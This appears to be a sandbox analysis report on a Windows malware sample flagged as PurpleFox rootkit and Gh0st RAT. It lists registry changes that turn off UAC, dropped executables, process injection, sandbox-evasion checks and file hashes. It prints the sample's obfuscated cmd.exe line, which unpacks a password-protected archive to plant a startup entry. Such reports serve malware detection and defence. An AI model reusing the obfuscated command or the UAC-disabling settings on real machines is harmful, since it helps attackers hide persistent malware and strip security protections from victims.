Analysis
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max time kernel
137s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
30-09-2022 20:13
Static task
static1
Behavioral task
behavioral1
Sample
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe
Resource
win7-20220901-en
General
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Target
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe
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Size
28KB
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MD5
c1101555cb3e0f55bf293caf6ec27034
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SHA1
7c44a04dfc1b1ca839044f51b7cec7f918544451
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SHA256
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4
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SHA512
b44cbcf8541951834180e77f26e45032937270b87548d2d215b796895057245adbb4ddbfd9ea08e1b85f2f22b9d3f9dfd6987eb3fc2796453bc9a9d202762083
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SSDEEP
192:QqNKGqvO5JaE9LhHBdb9E9ZhoynJLNgH9Sa2tZch4s9GRmd8MFA93M3pkR:kPEhhdb9whD+d/2tQ4s9Gwd5ASc
Malware Config
Signatures
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Processes:
resource yara_rule behavioral2/memory/1712-169-0x0000000010000000-0x000000001019F000-memory.dmp purplefox_rootkit behavioral2/memory/1712-175-0x0000000000400000-0x0000000000547000-memory.dmp purplefox_rootkit -
Gh0st RAT payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/1712-169-0x0000000010000000-0x000000001019F000-memory.dmp family_gh0strat behavioral2/memory/1712-175-0x0000000000400000-0x0000000000547000-memory.dmp family_gh0strat -
Processes:
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe -
ACProtect 1.3x - 1.4x DLL software 2 IoCs
Detects file using ACProtect software.
Processes:
resource yara_rule C:\Users\Public\Documents\TASLoginBase.dll acprotect C:\Users\Public\Documents\TASLoginBase.dll acprotect -
Downloads MZ/PE file
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Executes dropped EXE 6 IoCs
Processes:
k4.exek4.exedllhosts.exeunzip.exedllhosts.exek4.exepid process 3156 k4.exe 3744 k4.exe 4568 dllhosts.exe 1616 unzip.exe 1712 dllhosts.exe 1000 k4.exe -
Processes:
resource yara_rule C:\Users\Public\Documents\TASLoginBase.dll upx C:\Users\Public\Documents\TASLoginBase.dll upx behavioral2/memory/4568-159-0x0000000010000000-0x0000000010032000-memory.dmp upx behavioral2/memory/1712-164-0x0000000000400000-0x0000000000547000-memory.dmp upx behavioral2/memory/1712-167-0x0000000000400000-0x0000000000547000-memory.dmp upx behavioral2/memory/1712-168-0x0000000000400000-0x0000000000547000-memory.dmp upx behavioral2/memory/1712-175-0x0000000000400000-0x0000000000547000-memory.dmp upx behavioral2/memory/4568-176-0x0000000010000000-0x0000000010032000-memory.dmp upx -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.execmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation cmd.exe -
Drops startup file 3 IoCs
Processes:
unzip.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup\ unzip.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup\browser.lnk unzip.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\startup\browser.lnk unzip.exe -
Loads dropped DLL 2 IoCs
Processes:
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exedllhosts.exepid process 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe 4568 dllhosts.exe -
Processes:
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe -
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
dllhosts.exedescription ioc process File opened (read-only) \??\L: dllhosts.exe File opened (read-only) \??\R: dllhosts.exe File opened (read-only) \??\T: dllhosts.exe File opened (read-only) \??\U: dllhosts.exe File opened (read-only) \??\E: dllhosts.exe File opened (read-only) \??\F: dllhosts.exe File opened (read-only) \??\M: dllhosts.exe File opened (read-only) \??\N: dllhosts.exe File opened (read-only) \??\P: dllhosts.exe File opened (read-only) \??\G: dllhosts.exe File opened (read-only) \??\K: dllhosts.exe File opened (read-only) \??\I: dllhosts.exe File opened (read-only) \??\J: dllhosts.exe File opened (read-only) \??\O: dllhosts.exe File opened (read-only) \??\V: dllhosts.exe File opened (read-only) \??\X: dllhosts.exe File opened (read-only) \??\Y: dllhosts.exe File opened (read-only) \??\B: dllhosts.exe File opened (read-only) \??\H: dllhosts.exe File opened (read-only) \??\W: dllhosts.exe File opened (read-only) \??\Z: dllhosts.exe File opened (read-only) \??\Q: dllhosts.exe File opened (read-only) \??\S: dllhosts.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
Processes:
cmd.execmd.exepid process 1828 cmd.exe 1208 cmd.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
dllhosts.exedescription pid process target process PID 4568 set thread context of 1712 4568 dllhosts.exe dllhosts.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4756 4568 WerFault.exe dllhosts.exe -
Checks SCSI registry key(s) 3 TTPs 2 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
k4.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 k4.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 k4.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
dllhosts.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 dllhosts.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz dllhosts.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 1384 taskkill.exe -
Modifies registry class 2 IoCs
Processes:
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.execmd.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings cmd.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
dllhosts.exepid process 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe 1712 dllhosts.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
Processes:
mmc.exepid process 4900 mmc.exe -
Suspicious use of AdjustPrivilegeToken 14 IoCs
Processes:
taskkill.exemmc.exemmc.exek4.exedllhosts.exedescription pid process Token: SeDebugPrivilege 1384 taskkill.exe Token: 33 5080 mmc.exe Token: SeIncBasePriorityPrivilege 5080 mmc.exe Token: 33 5080 mmc.exe Token: SeIncBasePriorityPrivilege 5080 mmc.exe Token: 33 4900 mmc.exe Token: SeIncBasePriorityPrivilege 4900 mmc.exe Token: 33 4900 mmc.exe Token: SeIncBasePriorityPrivilege 4900 mmc.exe Token: SeLoadDriverPrivilege 1000 k4.exe Token: 33 1712 dllhosts.exe Token: SeIncBasePriorityPrivilege 1712 dllhosts.exe Token: 33 1712 dllhosts.exe Token: SeIncBasePriorityPrivilege 1712 dllhosts.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exemmc.exemmc.exepid process 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe 5080 mmc.exe 5080 mmc.exe 4900 mmc.exe 4900 mmc.exe -
Suspicious use of WriteProcessMemory 40 IoCs
Processes:
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.execmd.execmd.exemmc.exemmc.execmd.execmd.execmd.exedllhosts.exedescription pid process target process PID 4596 wrote to memory of 3156 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe k4.exe PID 4596 wrote to memory of 3156 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe k4.exe PID 4596 wrote to memory of 3744 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe k4.exe PID 4596 wrote to memory of 3744 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe k4.exe PID 4596 wrote to memory of 3748 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe cmd.exe PID 4596 wrote to memory of 3748 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe cmd.exe PID 4596 wrote to memory of 3748 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe cmd.exe PID 3748 wrote to memory of 1384 3748 cmd.exe taskkill.exe PID 3748 wrote to memory of 1384 3748 cmd.exe taskkill.exe PID 3748 wrote to memory of 1384 3748 cmd.exe taskkill.exe PID 4596 wrote to memory of 5116 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe cmd.exe PID 4596 wrote to memory of 5116 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe cmd.exe PID 4596 wrote to memory of 5116 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe cmd.exe PID 5116 wrote to memory of 3024 5116 cmd.exe WScript.exe PID 5116 wrote to memory of 3024 5116 cmd.exe WScript.exe PID 5116 wrote to memory of 3024 5116 cmd.exe WScript.exe PID 4596 wrote to memory of 808 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe WScript.exe PID 4596 wrote to memory of 808 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe WScript.exe PID 4596 wrote to memory of 808 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe WScript.exe PID 5080 wrote to memory of 1828 5080 mmc.exe cmd.exe PID 5080 wrote to memory of 1828 5080 mmc.exe cmd.exe PID 4900 wrote to memory of 4568 4900 mmc.exe dllhosts.exe PID 4900 wrote to memory of 4568 4900 mmc.exe dllhosts.exe PID 4900 wrote to memory of 4568 4900 mmc.exe dllhosts.exe PID 1828 wrote to memory of 1208 1828 cmd.exe cmd.exe PID 1828 wrote to memory of 1208 1828 cmd.exe cmd.exe PID 1828 wrote to memory of 4892 1828 cmd.exe cmd.exe PID 1828 wrote to memory of 4892 1828 cmd.exe cmd.exe PID 4892 wrote to memory of 1604 4892 cmd.exe cmd.exe PID 4892 wrote to memory of 1604 4892 cmd.exe cmd.exe PID 1604 wrote to memory of 1616 1604 cmd.exe unzip.exe PID 1604 wrote to memory of 1616 1604 cmd.exe unzip.exe PID 1604 wrote to memory of 1616 1604 cmd.exe unzip.exe PID 4568 wrote to memory of 1712 4568 dllhosts.exe dllhosts.exe PID 4568 wrote to memory of 1712 4568 dllhosts.exe dllhosts.exe PID 4568 wrote to memory of 1712 4568 dllhosts.exe dllhosts.exe PID 4568 wrote to memory of 1712 4568 dllhosts.exe dllhosts.exe PID 4568 wrote to memory of 1712 4568 dllhosts.exe dllhosts.exe PID 4596 wrote to memory of 1000 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe k4.exe PID 4596 wrote to memory of 1000 4596 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe k4.exe -
System policy modification 1 TTPs 3 IoCs
Processes:
1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe"C:\Users\Admin\AppData\Local\Temp\1d329207cc0e0ae6649dfa5ae77f3a70c67e2a3a0d1ef5a609c937deac271cf4.exe"1⤵
- UAC bypass
- Checks computer location settings
- Loads dropped DLL
- Checks whether UAC is enabled
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
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C:\Users\Public\Documents\k4.exeC:/Users/Public/Documents/k4.exe2⤵
- Executes dropped EXE
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C:\Users\Public\Documents\k4.exeC:/Users/Public/Documents/k4.exe /D2⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /t /im k4.exe2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\taskkill.exetaskkill /f /t /im k4.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Public\Documents\2022060125.vbe2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\2022060125.vbe"3⤵
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sch.vbe"2⤵
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C:\Users\Public\Documents\k4.exe"C:\Users\Public\Documents\k4.exe" /E2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\mmc.exeC:\Windows\system32\mmc.exe -Embedding1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /c ^c^M^D, , /v^:O ,/R " , ( , (S^ET ^l^U=^-), )&(^sET N^aV=\^Public^\Docu^m^en^t)& (^s^eT ^S^m^KR=^ver)&&(, ,, , , (^sET idZ^S=cmd ^/c C:\^U^sers^\Publi^c\Do^cu) ,)&& (sE^t ^ ^5UR2=s\^unz^ip.^d^a^t -d)&&(^sET ^b^Vx=xe^ ^-^o)& ( , (^Set ^PXyG=^e^rver^^^^^^^>Se^r) )&(s^ET ^ w^GR=:\^U^sers)&( , , , , , (^SE^t G^2T=^ ), )& (^Se^T ^78=^men^ts^\un^zip.e)& (^Set B^X=^ ""%ap^pda^ta%"")& (^SEt p^1vS=P^ )&(S^et DBh^u=^^^^^^^&^e^cho ^S)&& S^ET ^u^Yw^J=""&&( , (^SET 7D3^y=^.^dll) , )& ( ,(^SET ^ ^gE=^C) , )&& ( , (SE^T ^ ^2^R^X=Start^u^p8^888 ) , , , )& , C^All,S^E^T 4Zb=%idZ^S%%^78%%^b^Vx%%G^2T%%^l^U%%p^1vS%%^2^R^X%%^gE%%w^GR%%N^aV%%^5UR2%%B^X%%DBh^u%%^PXyG%%^S^m^KR%%7D3^y%&&, , ^CaLL , , E^CHo , %4^Z^b:""^=!uY^wJ:~0, ^-1!%"|,%pubLic:~ 14%MD,2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execMD , , /v:O ,/R " , ( , (S^ET ^l^U=^-), )&(^sET N^aV=\^Public^\Docu^m^en^t)& (^s^eT ^S^m^KR=^ver)&&(, ,, , , (^sET idZ^S=cmd ^/c C:\^U^sers^\Publi^c\Do^cu) ,)&& (sE^t ^ ^5UR2=s\^unz^ip.^d^a^t -d)&&(^sET ^b^Vx=xe^ ^-^o)& ( , (^Set ^PXyG=^e^rver^^^^^^^>Se^r) )&(s^ET ^ w^GR=:\^U^sers)&( , , , , , (^SE^t G^2T=^ ), )& (^Se^T ^78=^men^ts^\un^zip.e)& (^Set B^X=^ ""%ap^pda^ta%"")& (^SEt p^1vS=P^ )&(S^et DBh^u=^^^^^^^&^e^cho ^S)&& S^ET ^u^Yw^J=""&&( , (^SET 7D3^y=^.^dll) , )& ( ,(^SET ^ ^gE=^C) , )&& ( , (SE^T ^ ^2^R^X=Start^u^p8^888 ) , , , )& , C^All,S^E^T 4Zb=%idZ^S%%^78%%^b^Vx%%G^2T%%^l^U%%p^1vS%%^2^R^X%%^gE%%w^GR%%N^aV%%^5UR2%%B^X%%DBh^u%%^PXyG%%^S^m^KR%%7D3^y%&&, , ^CaLL , , E^CHo , %4^Z^b:""^=!uY^wJ:~0, ^-1!%"3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
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C:\Windows\system32\cmd.execMD ,3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c C:\Users\Public\Documents\unzip.exe -o -P Startup8888 C:\Users\Public\Documents\unzip.dat -d "C:\Users\Admin\AppData\Roaming"4⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\unzip.exeC:\Users\Public\Documents\unzip.exe -o -P Startup8888 C:\Users\Public\Documents\unzip.dat -d "C:\Users\Admin\AppData\Roaming"5⤵
- Executes dropped EXE
- Drops startup file
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C:\Windows\system32\mmc.exeC:\Windows\system32\mmc.exe -Embedding1⤵
- Suspicious behavior: SetClipboardViewer
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\dllhosts.exe"C:\Users\Public\Documents\dllhosts.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\dllhosts.exeC:\Users\Public\Documents\dllhosts.exe3⤵
- Executes dropped EXE
- Enumerates connected drives
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 2283⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4568 -ip 45681⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Public\Documents\2022060125.vbeFilesize
180B
MD5d66c7e77096d4f4c406170b6ca0ad123
SHA19bb461061c7276ebe2a493f690d72263c0da8962
SHA256cd0a0ac1315f1f473f4a42bed62fad7033fe68a3e0cf72a7b354a7e3dd78e8a8
SHA512015788021b53eb278be1238b26a01499dcb809d93ee747bc89208f8d3570a7b0b813c70ea054e70584b536da4811f0a58ef38c96a984e6b3a54654774e5c7592
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C:\Users\Public\Documents\RDSv1.dllFilesize
31KB
MD5f90de519c9a8c75dea55263ba6d15af9
SHA1b80eeb44d0025e9025d055ab68a5fef66e27a623
SHA2563429d3cd36053b6406bb1aa970e52e5dc9d705133fb3edaf19ab8528d374229e
SHA512c5ea29ce32efed5706fcda6de3e839eaa27afb8ac8c8899fe239742fc2e59bc35e68ec72391112176ddbd1114e923fe265fa5915661b823d5a08cc7bb17a193e
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C:\Users\Public\Documents\TASLoginBase.dllFilesize
79KB
MD5f30d412bc73c187d3b26b50f1af7ef5c
SHA17f2729e78e025dd9b482ce6f7dd4a94c4cce1b65
SHA256e19d86e1511786d33f868fd86765fa33a3c73530678129ce32876b1032318d07
SHA51292ec368a9bf38e7e5fbeb77999a653b30c57574bb8a60ffcb21a54a7daaef1ae30191b4f9f9d72085083a1c926c0577580fd135017480b1e5f980bec9a5c30d9
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C:\Users\Public\Documents\TASLoginBase.dllFilesize
79KB
MD5f30d412bc73c187d3b26b50f1af7ef5c
SHA17f2729e78e025dd9b482ce6f7dd4a94c4cce1b65
SHA256e19d86e1511786d33f868fd86765fa33a3c73530678129ce32876b1032318d07
SHA51292ec368a9bf38e7e5fbeb77999a653b30c57574bb8a60ffcb21a54a7daaef1ae30191b4f9f9d72085083a1c926c0577580fd135017480b1e5f980bec9a5c30d9
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C:\Users\Public\Documents\dllhosts.exeFilesize
411KB
MD566557b2bd93e70a2804e983b279ab473
SHA14e58505689fd9643b5011880ce94b22cbfadf917
SHA256a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31
SHA512b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4
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C:\Users\Public\Documents\dllhosts.exeFilesize
411KB
MD566557b2bd93e70a2804e983b279ab473
SHA14e58505689fd9643b5011880ce94b22cbfadf917
SHA256a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31
SHA512b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4
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C:\Users\Public\Documents\dllhosts.exeFilesize
411KB
MD566557b2bd93e70a2804e983b279ab473
SHA14e58505689fd9643b5011880ce94b22cbfadf917
SHA256a63c9e3f7256e38224f7256307d954d4a6baa9f023f6ac49d8cface7b2658e31
SHA512b08d8b2872f4ebdbab7b15bd96f5d185f05030983c2d704497d30fe5f610874b5ec362f0e3e55800031edcd29b812d9b58214e76012a85df074310f36e0f33f4
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C:\Users\Public\Documents\k4.exeFilesize
892KB
MD533e29221e2825001d32f78632217d250
SHA19122127fc91790a1edb78003e9b58a9b00355ed5
SHA25665d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d
SHA51201d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93
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C:\Users\Public\Documents\k4.exeFilesize
892KB
MD533e29221e2825001d32f78632217d250
SHA19122127fc91790a1edb78003e9b58a9b00355ed5
SHA25665d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d
SHA51201d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93
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C:\Users\Public\Documents\k4.exeFilesize
892KB
MD533e29221e2825001d32f78632217d250
SHA19122127fc91790a1edb78003e9b58a9b00355ed5
SHA25665d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d
SHA51201d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93
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C:\Users\Public\Documents\k4.exeFilesize
892KB
MD533e29221e2825001d32f78632217d250
SHA19122127fc91790a1edb78003e9b58a9b00355ed5
SHA25665d0b20a4dc4911fbb91683eb6488d3d3493fa4584bbdfb4e942f203bef0030d
SHA51201d5c6ded3a83d81371e94fefb1debabb1d003c86ab3cf7145d28fb15fcfd4f8b763f6711f99c5afd9bf90f02a7af993efa5945d4f8bb6a3649b5fd86414ae93
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C:\Users\Public\Documents\sch.vbeFilesize
179B
MD5d569f44ce5792ee816b4182e3c7bc7da
SHA1f16a402cd6030b5c7faa5c85ade3005d66d5232a
SHA25659ff328647ccee11ad437e02b6e84c12511333553837b6fa270eefd21a3eccbf
SHA512bb0f888ff00038d1787e6cce8b09b61761d93594cbfe08d2dbf650c1802938d6df7b4b854c1af97ad405fb3b1460aab339e636852d51dc6b6849d27a5af9560b
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C:\Users\Public\Documents\unzip.datFilesize
1KB
MD5e1fafb36f4da2c3be5dc9be1ad0b9805
SHA17d64a899e0ab62f3cd6ebf5bdade782c99c00713
SHA256a862acb112f57458ad35e5e5fc90f0d270a7600af694a6b7052d161806e5dd69
SHA5125c530b09b6459f34072dfccb7ccec5cbb791fc6cdc2633993da91fbef9c4d1172aec51ace3fb3cb8ac25b6721b4e6f5f1fd1a8fac7d95abbad8f6430e4abbc3e
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C:\Users\Public\Documents\unzip.exeFilesize
164KB
MD575375c22c72f1beb76bea39c22a1ed68
SHA1e1652b058195db3f5f754b7ab430652ae04a50b8
SHA2568d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a
SHA5121b396e78e189185eefb8c6058aa7e6dfe1b8f2dff8babfe4ffbee93805467bf45760eea6efb8d9bb2040d0eaa56841d457b1976dcfe13ed67931ade01419f55a
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C:\Users\Public\Documents\unzip.exeFilesize
164KB
MD575375c22c72f1beb76bea39c22a1ed68
SHA1e1652b058195db3f5f754b7ab430652ae04a50b8
SHA2568d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a
SHA5121b396e78e189185eefb8c6058aa7e6dfe1b8f2dff8babfe4ffbee93805467bf45760eea6efb8d9bb2040d0eaa56841d457b1976dcfe13ed67931ade01419f55a
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C:\Users\Public\Documents\unzip.lnkFilesize
2KB
MD57503a871168c07ca47a87c933f004f66
SHA1764d09fe3b1f756a467e4a96d5cc3453732c3cfb
SHA2568a3d404f5cdd1611433ea97e8a5ebf8696d8cdcf805331201a4fb4f7203023de
SHA5124f7bbab0fcdb150cf368ab9fa2d23f26082ae1ac1d1a4cebc7ea9b2724125c7f5e013b2180a08a3f0002e416e6be5e6233f47fb7f5dbebd1b503f09a5ea24831
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C:\Users\Public\Documents\update.lnkFilesize
1KB
MD53af508a542bdfa6927737a2d91d74f40
SHA1433f04e960f68ce05358af2d672a9b649de4e3ce
SHA256e7e3e44142369b3a312005313f8569f2bcd45bcdc8ea9e141616654bcd090b60
SHA512b35ad011ca3770c1a1e2a655a614e91ebd96ce29099969c727a69e77a390b91078512ce55883d7290e4dd46c5f04f0461b2833f568d23da1fc4d91ea4633d3bc
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C:\Users\Public\Documents\update.logFilesize
539KB
MD5460bf7211a5a99f5d4b0d9219cb0f7cd
